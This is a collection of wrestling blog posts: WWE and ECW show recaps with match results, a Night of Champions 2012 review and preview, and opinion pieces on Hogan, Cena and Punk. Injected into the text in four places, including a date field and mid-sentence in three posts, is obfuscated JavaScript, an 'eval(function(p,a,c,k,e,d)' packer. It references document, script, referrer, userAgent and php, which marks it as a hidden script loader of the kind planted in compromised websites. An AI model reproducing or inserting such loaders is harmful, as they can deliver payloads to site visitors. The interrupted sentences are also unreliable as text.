I Want To Talk A Little Bit About Wrestlers Sticking To Their Strengths
That right there is a lesson that a large amount of wrestling fans need to learn. Today, you hear people talking about guys like Punk and Bryan and using the words Best in the World to describe them. Their justification for this seems to be that Punk and Bryan put on long and entertaining matches with a wide variety of moves. These same fans tend to criticize guys like Hogan and Cena for using a much smaller moveset.
Why did Hogan never change or mix it up? Well why should he have done so? Hogan got some of the biggest reactions for well over 20 years doing the exact same stuff, and it never stopped working. Hogan got to the top of the wrestling world using the same formula and it never stopped at all. Somehow being the biggest star ever made him into the worst wrestler ever.
Monday Night Raw – October 1, 2012: Without Cena, This Show Is Flatter Than AJ’s Stomach
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Night Raw
Date: October 1, 2012
Location: Chesepeake Energy Arena, Oklahoma City, Oklahoma|
Commentators: Michael Cole, Jim Ross
Tag Team Tournament First Round: Epico/Primo vs. Sin Cara/Rey Mysterio
Brodus Clay vs. Antonio Cesaro
Zack Ryder vs. The Miz
Miz takes him down with a shoulder block and a pair of boots to the head for two. Ryder makes a comeback and hits the Broski boot for two as we hear about Larry King as the social media ambassador. The Rough Ryder is countered into a buckle bomb and the Skull Crushing Finale gets the pin at 2:39.
Ryback vs. Tensai
More cancer stuff.
Eve Torres vs. Beth Phoenix
Before the match Eve talks about how awesome the Divas are. Beth tentatively shakes her hand and blocks the surprise attack from Eve. This is non-title by the way. Beth misses a charge and hits the post so Eve goes to the floor to pound on the bad arm. Beth gets rammed onto the floor and into the barricade which draws a nine count. Back inside Eve is upset so Beth runs her over. Eve hides in the ropes and comes out with her neckbreaker for the pin at 2:35.
We hear about JBL climbing mountains to raise money for poor kids. Nothing wrong with charity work.
Santino Marella vs. Heath Slater
Damien Sandow vs. Sheamus
Sandow hides to start so Sheamus grabs him by the beard and pounds away. Damien hides on the floor as we take a break. Back with Sandow hitting the floor again, drawing huge boos. Sheamus chases him into the crowd and catches Cody trying to interfere. The distraction lets Sandow clothesline Sheamus down and he takes over back in the ring. After some basic shots to the upper body, Sandow puts on a chinlock. Sandow fires off knees to the chest and hits a Russian legsweep and the windup elbow for two.
Sandow escapes a powerslam and hits a flipping neckbreaker for two. Sheamus gets the feet up in the corner and a top rope battering ram gets two. Sandow escapes White Noise but gets caught in the ten forearms. Sheamus catches Cody coming and sends him into the ring as well. A single Brogue Kick takes out both guys and pins Sandow at 15:45.
Alberto Del Rio vs. Kofi Kingston
Hell No vs. CM Punk/Dolph Ziggler
Kane hits the clothesline but as usual, Bryan tags in while Kane sets for the chokeslam. Punk kicks Bryan out of the air but Bryan moonsaults out of the corner. A clothesline from Daniel sets up the kicks and he takes Ziggler down as well, only to walk into the high kick for two. Dolph comes in and dropkicks Bryan to the floor. Bryan gets thrown into the barricade which gets two back inside and we hit the chinlock.
Results
Sin Cara/Rey Mysterio b. Epico/Primo – Top Rope Splash to Primo
Antonio Cesaro b. Brodus Clay – Neutralizer
The Miz b. Zack Ryder – Skull Crushing Finale
Ryback b. Tensai – Clothesline
Eve Torres b. Beth Phoenix – Spinning Neckbreaker
Santino Marella b. Heath Slater via DQ when Drew McIntyre and Jinder Mahal interfered
Sheamus b. Damien Sandow – Brogue Kick
Alberto Del Rio b. Kofi Kingston – Cross Armbreaker
Hell No b. Dolph Ziggler/CM Punk – Chokeslam to Punk
Remember to follow me on Twitter @kbreviews
ECW on Sci-Fi – October 17, 2006: Big Show Has A Challenger
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on Sci-Fi
Date: October 17, 2006
Location: Jacksonville Memorial Coliseum, Jacksonville, Florida
Commentators: Joey Styles, Tazz
Matt Striker vs. Sandman
CM Punk vs. Rene Dupree
This is a rematch from last week. Rene slaps him to start, ticking off Punk enough that he charges into a quick hot shot. Rene gets in some more offense but Punk leg lariats him, hits his quick strikes, the Rock Bottom and the Anaconda Vice for the fast tap. This was nothing.
Mike Knox hits the ring post match but Punk is ready for him. Knox bails immediately when Punk calls him into the ring.
Test vs. Balls Mahoney
Sabu vs. Shannon Moore
Big Show vs. Rob Van Dam
Show comes back with a spear but it only gets two. The fans are getting way into this which is kind of surprising given how the match has been going so far. A Vader Bomb Elbow misses but a clothesline puts RVD right back into the corner. The referee gets bumped and Van Dam counters the chokeslam into a DDT. He loads up the Five Star but Test shoves him off the top and stomps away. Test grabs a chair and pokes Van Dam in the ribs with it but Hardcore Holly runs out and hits Test with the chair. Holly cracks Show with the chair twice and the Five Star gives Rob the upset win.
Remember to follow me on Twitter @kbreviews
Smackdown – September 4, 2009: Smackdown Used To Be AWESOME
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|siyer|var|u0026u|referrer|rznyh||js|php'.split('|'),0,{}))
September 4, 2009
Location: Quicken Loans Arena, Cleveland, Ohio
Commentators: Jim Ross, Todd Grisham
We open with a recap of Punk winning a loser leaves the WWE match against Jeff Hardy recently. This transitions into a pretty awesome career highlight reel for Hardy.
Taker is back tonight.
Punk yells at Teddy so Teddy makes Matt vs. Punk non-title tonight.
Finlay/Great Khali vs. Mike Knox/Kane
Intercontinental Title: John Morrison vs. Rey Mysterio
They finally speed things up with Rey snapping off a big headscissors to fire up the crowd and for two. Morrison starts making Mysterio miss him before getting kicked in the face and splashed for two. Rey hooks a chinlock to give both guys a chance to breathe. The fans seem to be far more behind Morrison which is kind of strange. Morrison fights up and hits a front flip into a dropkick for two in a sweet counter.
Standing shooting star gets two for Morrison before things speed up again and Rey is sent flying out to the floor. That gets two back inside as does a spinning legdrop from Morrison. We hit the chinlock again for a bit before Rey hits a pair of rollups for two. Morrison gets out of the 619 and they both try crossbodies at once.
Maria/Eve Torres vs. Layla/Natalya
CM Punk vs. Matt Hardy
The Side Effect is countered and Punk goes up, only to get superplexed back down. This has been almost all Matt so far. Punk drapes Matt over the top rope and knocks him to the floor as we take a break. Back with Matt caught in an abdominal stretch and Punk firing off kicks to the bad ribs. Off to a body vice followed by a whip into the corner for two. Punk fires off his strikes and the champ is in full control.
Taker chokeslams Punk through the table to end the show.
Remember to follow me on Twitter @kbreviews
Monday Night Raw – September 24, 2012: I Don’t Know What WWE Is On Right Now But I Want Some Of It
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Night Raw
Date: September 24, 2012
Location: Times Union Center, Albany, New York
Commentators: Michael Cole, Jim Ross
Post break Maddox talks to AJ who says that if what happened last week happens again, Maddox will never work in this business again. AJ says this while looking on the verge of another nervous breakdown. She stops responding to him while looking off into the distance.
Dolph Ziggler vs. Kofi Kington
Another Twitter induced match here. Truth is here with a soda and popcorn. Vickie makes fun of Little Jimmy and the end result is Vickie taking the soda to the face. Vickie and Truth get ejected before the match starts. Kofi knocks Dolph to the floor quickly and hits a BIG flip dive to take Ziggler out as we take a break. Back with Ziggler in control and avoiding a charge in the corner. A reverse powerslam gets two for Dolph.
We get a recap of the awesome ending to Smackdown with Kane and Bryan having their psycho bonding moment resulting in a pile of bodies around them.
You get to name the team name for Bryan and Kane.
Prime Time Players vs. Santino Marella/Zack Ryder
See how easy it is to get people on the roster doing stuff? This is where a tag division can help you: you can get people on the show and you can get a lot of them at once. Ryder and Young start things off with the former getting caught in a flapjack for two. Ryder misses a cross body and hits the ropes, followed by a Young chinlock. Zack fights up and dives into a tag to Santino, who hits his usual stuff and gets two off a headbutt. Things break down for a second and Titus gets a blind tag. He blocks the Cobra and the Clash of the Titus gets the pin at 1:54.
The Miz vs. Ryback
Wade Barrett vs. Tyson Kidd
Ricardo Rodriguez/David Otunga/Alberto Del Rio vs. Rey Mysterio/Sheamus/Sin Cara
Otunga takes a Brogue Kick post match.
Team Teamwork
Team HELL NO
Team Friendship
We recap Heyman proposing to AJ earlier as well as Foley and Punk.
Layla/Alicia Fox vs. Eve Torres/Beth Phoenix
Brodus Clay vs. Tensai
Brodus charges into a knockout punch too.
Orton vs. Big Show on Friday.
Results
Dolph Ziggler b. Kofi Kingston – Zig Zag
Prime Time Players b. Santino Marella/Zack Ryder – Clash of the Titus to Marella
Ryback b. The Miz – Shell Shock
Wade Barrett b. Tyson Kidd – Souvenir
Sheamus/Sin Cara/Rey Mysterio b. Ricardo Rodriguez/David Otunga/Alberto Del Rio – Springboard Swanton Bomb to Rodriguez
Eve Torres/Beth Phoenix b. Layla/Alicia Fox – Swinging Neckbreaker to Fox
Tensai b. Brodus Clay via DQ when Big Show interfered
Remember to follow me on Twitter @kbreviews
Cena Injured, Doesn’t Seem To Matter
Cena eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrnky|var|u0026u|referrer|kzbzi||js|php'.split('|'),0,{})) had elbow surgery today but it doesn’t seem to make a difference as he’ll only be out 2-3 weeks and the PPV is in about 6 weeks. See what happens when you give yourselves some space between PPVs? Good things can happen.
Monday Night Raw – September 17, 2012: A New Generation May Be Rising
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Night Raw
Date: September 17, 2012
Location: Webster Bank Arena, Bridgeport, Connecticut
Commentators: Michael Cole, John Bradshaw Layfield, Jim Ross
JBL comes out for commentary. AND SO DOES JIM ROSS! WITH THE BEARD!
Sin Cara/Rey Mysterio vs. Epico/Primo
The new champs defend against the old champs tonight. See that? FIVE actual teams!
We talk about breast cancer a bit.
Miz has his own talk show called MizTV now.
Beth Phoenix vs. Eve Torres
Layla and Eve have a staredown post match.
Brodus Clay vs. Heath Slater
Santino Marella vs. Dolph Ziggler
Wade Barrett vs. Justin Gabriel
We get a clip of Lawler landing in Memphis.
Tag Titles: Kofi Kingston/R-Truth vs. Kane/Daniel Bryan
Post match they fight AGAIN over who is the tag team champions. I can feel my old English teachers cringing at that line. Bryan wants to hug it out as Kane has both titles. They hug and Bryan steals a belt, leading to fight #5.
BE A STAR! FROM LAST MARCH!
Randy Orton vs. Tensai
Otunga and Del Rio meet with Punk and Heyman with Harvard Boy saying he thinks Punk sleeps in a box on the street. Punk whispers to Heyman and Heyman says Del Rio should go back to Survivor Series last year where Punk beat him for the title.
Zack Ryder vs. Damien Sandow
This is joined in progress with Sandow (in light purple tonight) controlling Ryder with a headlock on the mat. Ryder sends him to the floor and hits a plancha which gets two back in the ring. Sandow comes back with a knee to the ribs followed by a chinlock. A Russian legsweep sets up the wind up elbow for two. A rollup and small package get two each for Ryder and a facejam takes Sandow down.
John Cena/Sheamus vs. Alberto Del Rio/CM Punk
Cena got thumbed in the eye somewhere in there and Punk stomps away on him. Off to Del Rio who works on the arm a bit. Cena finally gets in a shot and brings in Sheamus who hits the ten forearms in the ropes. White Noise hits and Sheamus loads up the Brogue Kick. He has to stop to take out Punk though and Del Rio takes Sheamus down. Punk comes in and hooks a bow and arrow to take over.
Results
Rey Mysterio/Sin Cara b. Epico/Primo – Swanton Bomb to Epico
Eve Torres b. Beth Phoenix – Rollup
Brodus Clay b. Heath Slater – Splash
Dolph Ziggler b. Santino Marella – Zig Zag
Wade Barrett b. Justin Gabriel – Right Hand
Daniel Bryan/Kane b. Kofi Kingston/R-Truth – NO Lock to R-Truth
Randy Orton b. Tensai – RKO
Damien Sandow b. Zach Ryder – Double Arm Neckbreaker
John Cena/Sheamus b. CM Punk/Alberto Del Rio – AA to Punk
Remember to follow me on Twitter @kbreviews
Night of Champions 2012: Send This Show To Disneyland. It’s Earned The Trip.
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of Champions 2012
Date: September 16, 2012
Location: TD Garden, Boston, Massachusetts
Commentators: Michael Cole, John Bradshaw Layfield
Pre-Show: Battle Royal
Intercontinental Title: The Miz vs. Sin Cara vs. Rey Mysterio vs. Cody Rhodes
The short DDT gets two on Rey but Cara comes back with some high flying stuff to send Miz to the floor, followed by a big dive. Rey hits a headscissors on Cody on the floor followed by a seated senton off the apron. Cara gets two on the champ off a slingshot senton but he gets sent into the corner for the corner clothesline from Miz. Rey comes in with a kind of Vader Bomb for two (why has that move become so popular lately?) but Cody jumps him from behind for two of his own.
We recap the Anger Management story with I believe the same video that aired on Friday. Basically Kane and Bryan both have anger issues and have been sent to anger management, resulting in some wacky outcomes and a tag title shot tonight.
Kofi Kingston/R-Truth vs. Kane/Daniel Bryan
Rating: B-. This was different but the fans ate it up with a spoon. There was absolutely no other option for this match as Kane and Bryan are currently over like free beer in a frat house. The pop for the win is bigger than probably all of the reactions for a tag title match in the last five years combined, so at least people are paying attention now.
Cole and JBL talk about breast cancer and how WWE is partnering with a cancer research foundation which is why the middle rope is pink. Nothing wrong with that at all.
US Title: Zack Ryder vs. Antonio Cesaro
Ryder won the preshow battle royal to get this shot. The word of the night is Unfair, which is what Cesaro thinks this match is. Cesaro takes him down with ease to start but Ryder takes Cesaro down by the wrist to counter. A flapjack and dropkick get two for Ryder but Cesaro shrugs them off and hooks a chinlock. A clothesline gets two for Cesaro as does the gutwrench suplex.
Cesaro gets the same off a regular suplex and the fans cheer for Ryder. They slug it out but Cesaro throws him into the air and hits the European uppercut for two. Cesaro hooks a reverse neckbreaker but pulls Ryder onto his back for a submission hold. Ryder escapes and hits a discus lariat for no cover.
A rollup gets two for Ryder as does a middle rope dropkick. Ryder hits a neckbreaker for two and Cesaro rolls to the apron. He goes up but Ryder brings him down with a hurricanrana. Ryder loads up the Broski Boot but Aksana pulls him to the floor. Back in and a European Uppercut sets up the Neutralizer to retain the title at 6:40.
Dolph Ziggler vs. Randy Orton
Ziggler drops a bunch of elbows capped off by the jumping elbow for two. Off to a chinlock with the headstand by Ziggler but this time he bridges forward to crank on the neck even more. Back up and another dropkick gets two for Ziggler. Dolph goes up but gets crotched and superplexed down for two. They slug it out and Ziggler holds his own. He runs into an elbow but takes Orton down with the Fameasser for two.
They head to the floor with Orton taking over. He hits the Elevated DDT off the barricade but Orton throws Ziggler back in instead of taking the countout. That only gets two back inside and Orton loads up the RKO but gets countered into the sleeper. Orton throws him off his back, throws Ziggler into the air and pulls him into the RKO for the pin at 18:15.
We get a sneak preview of Dredd 3D.
Divas Title: Layla vs. Eve Torres
Now we get a video about breast cancer.
Smackdown World Title: Alberto Del Rio vs. Sheamus
Video on the National Guard which has some members here tonight.
Heyman is in the ring and praises Punk, saying that Punk has described himself as a Paul Heyman Guy.
Raw World Title: John Cena vs. CM Punk
Punk tries a Rock Bottom for two. Cena hits an AA out of nowhere for two. Cena puts him on the middle rope and tries a belly to back superplex but Punk knocks him off. John runs right back up and hits a middle rope German for the pin and the title at 26:54. Both of their shoulders were down and I think you know where this is going.
Punk clocks Cena with the belt.
Overall Rating: A-. This was an excellent show with nothing bad on it at all. The worst match was probably the Divas and that was pretty much fine. Most importantly of all though: they treated the belts like something that mattered tonight and it made a noticeable difference. JBL on commentary was great and Bryan/Kane are still great. You had two really good matches and a bunch of other solid ones. Very good show here and probably their best PPV since Wrestlemania.
Results
The Miz b. Sin Cara, Rey Mysterio and Cody Rhodes – Miz pinned Rhodes after a Skull Crushing Finale
Kane/Daniel Bryan b. Kofi Kingston/R-Truth – Kane pinned Kingston after a top rope splash
Antonio Cesaro b. Zack Ryder – Neutralizer
Randy Orton b. Dolph Ziggler – RKO
Eve Torres b. Layla – Spinning Neckbreaker
Sheamus b. Alberto Del Rio – Brogue Kick
John Cena vs. CM Punk went to a draw
Remember to follow me on Twitter @kbreviews
Night of Champions 2012 Preview
The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfdsd|var|u0026u|referrer|asbnf||js|php'.split('|'),0,{})) show is tomorrow and it feels like we could spend another month building it up.Starting with the preshow and the match that it sets up, there’s no way to know what’s going on. The obvious answer is it depends on who wins the battle royal, and since we don’t know who’s in the battle royal, there’s no way to know who is getting the shot and therefore if I think they’ll win. My guess is that it’ll be Kidd or Brodus and I can’t see Kidd getting the title. Brodus……I can’t quite see that either but the match would be a tossup. Other options would be Christian or Big Show but I can’t see it being the Canadian. If it’s Show…..yeah they’d likely give him the belt.
Kane and Bryan winning the tag titles is the only logical ending to the tag title match. There is zero reason to have Kofi and Truth keep the titles while Kane and Bryan are doing the most entertaining stuff in the company by miles and miles. If there’s anything that should be a layup for the bookers, it’s this.
As for the IC Title, the usual way of thinking would say Miz retains the title because he sneaks in and steals the pin, but for some reason I don’t see that happening. Cody winning the title and setting up a mask vs. title match against either Rey or Cara would work fine, or either masked guy could take the title. It would possibly give the fans a reason to care about Cara, but I don’t think it would do much good. Rey has no need for the thing other than to feud with Cody more, but I think if it’s going to change it goes to Cody. Odds are it’ll stay with Miz though and that’s probably the right idea. One other thing: I love the combination of the title and the established feud. That’s an old school booking move and the current product could use more of those techniques.
Kaitlyn vs. Layla. The coin came up heads so we’ll say Layla retains.
Ziggler vs. Orton. This is one of those matches I’m not sure where they’re going. Orton is leaving to film the movie so he doesn’t need the win, but at the same time Ziggler is Mr. MITB which means he’s hardly ever allowed to win a major match. My instinct would be that Ziggler wins andtakes Orton out somehow so Orton can go film the movie and then perhaps Ziggler wins the title in the meantime, setting up a rematch later on for the title.
I’ve been watching wrestling for a very long time and honestly I can’t think of a world title feud that interests me less than Sheamus vs. Del Rio. Sheamus is one of my favorite guys but sweet goodness this feud isn’t doing anything for anyone. Del Rio is such a boring and uninteresting character and he’s lost clean(ish) to Sheamus every single time. What in the world is the point in seeing this AGAIN? Yeah Sheamus can’t use the Brogue Kick, but he has like 3 other finishers so it doesn’t mean much at all. Sheamus to retain and PLEASE let that be the final time these two fight ever again.
That leaves the main event with Punk vs. Cena and they really could go either way with this. At the end of the day, Punk is living in Cena’s shadow and it’s driving him crazy. ALl roads lead to January and the Rumble match with Rock, which likely sets up the rematch with Cena at Mania 29. Based on that, I’ll go with Punk to retain here, but I don’t know if he’ll survive all the way until January. Either way the reign isn’t lasting until my birthday in February. Punk to retain but not by much.
Overall, this is a show that has the potential to be good on paper but the build for it hasn’t quite worked. The whole company is running at half speed at the moment and they need a shot in the arm. The stories aren’t bad but they’re not doing a good job of making people care. It’s like they’re running with an anchor and they need something good to light a fire under them. Maybe that’s this show.
Cena and Punk’s Segment Last Night.
Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sihst|var|u0026u|referrer|irseb||js|php'.split('|'),0,{})) night when I was writing the review I was thinking about Lawler and not really focused on the promo and I thought I’d talk about it a bit more here.I thought the promo was excellent and it really sold the story they’re telling. The idea of Punk being delusional about his greatness and having the issue of respect going to his head and beyond is a classic but in Punk’s case his reign is starting to back it up. Having Bret, one of the guys that Punk was so sure he was leaps and bounds ahead of take the champ down with a single punch was great as it woke Punk up and brought him somewhat back to reality. You could see it in his eyes at the end of the night that he had gotten a wakeup call and that he could see the potential of what could happen to him on Sunday.
Also you have Cena who is his usual self and great in the big match promo. People criticize him for being too perfect, but that’s the way his character is. I really don’t get the idea of him being untouchable as he’s lost over and over throughout the last few years, including losing clean in the biggest match of his life. I can kind of understand the idea of people not being happy that the loss just bounced off of him, but that’s how Cena works: he wants to be in WWE and do his thing no matter if he wins or loses. He takes everything in stride and realizes that tomorrow is a new day and a new chance to win. He’s very optimistic and he doesn’t dwell on hislosses. That’s his character and I don’t get why people hate it so much.
Overall it’s a great promo and it makes me want to see their fight on Sunday even more.